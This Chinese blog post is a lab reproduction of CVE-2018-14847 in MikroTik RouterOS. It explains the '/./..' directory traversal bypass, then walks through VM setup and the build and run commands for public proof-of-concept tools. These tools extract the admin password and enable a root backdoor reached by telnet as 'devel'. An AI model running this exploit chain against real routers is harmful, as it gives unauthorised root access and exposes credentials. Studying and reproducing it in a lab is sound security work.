CVE-2018-14847 RouterOS漏洞复现


RouterOS存在目录穿越、任意文件读写漏洞。ked_check_path函数采用类似状态机的方式有限制的允许“..”字符串,不允许穿越到父目录中,但函数中没有对“.”进行验证,所以可以构造“/./..”的payload来进入父目录,从而实现目录穿越。

复现环境

攻击机:kali

靶机:RouterOS 6.41.3

环境配置

下载安装合适版本RouterOS的iso文件(或ova文件),导入虚拟机,我用的是ova文件,还需要修改一下兼容性。启动后,输入默认用户名和密码(用户名admin,密码为空)。然后配置IP。RouterOS不可以使用linux的常用命令,必须要使用自带的命令进行操作。TAB可以补全命令或查看可使用的命令。

> ip address
> print     # 显示当前IP
> remove number=0     # 移除当前IP
> add address=Your IP/24 interface=ether1     # 添加IP地址
> ..     # 返回上一级目录
> ..
> system reboot     # 重启

启动ssh, www, telnet等功能。

> ip service
> enbale ssh
> enable telnet
> enable winbox
> enbale www
> print

在移除IP后,需要在Kali端尝试能不能ping通。如果配置成功,浏览器访问设置的IP则可以直接进入到这个界面:

为了后续漏洞复现能够正常进行,必须要保证admin用户有密码。如果没有密码,需要设置。

漏洞复现

下载POC,然后按照README文档配置环境。

$ apt install libboost-all-dev cmake
$ cd routeros-master/poc/cve_2018_14847
$ mkdir build
$ cmake ..
$ make
$ ./cve_2018_14847_poc --ip 192.168.227.181 --port 8291

这个是针对CVE-2018-14847目录穿越漏洞的POC,接下来使用另一个POC,位于当前poc的上层目录中的bytheway文件。这个poc可以利用RouterOS上的启用root shell的漏洞。该漏洞首先利用CVE-2018-14847提取管理员密码,然后创建一个选项包来启用开发者后门。攻击者可以使用root用户devel和admin的密码通过SSH或Telnet连接RouterOS。

$ mkdir build
$ cd build
$ cmake ..
$ make
$ ./btw -i 192.168.227.181
$ telnet -l devel 192.168.227.181

从上图可以看到,成功获取了admin用户的密码:123456,并创建了devel用户。之后就可以使用telnet来登录devel,并进行各种操作了。


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
  目录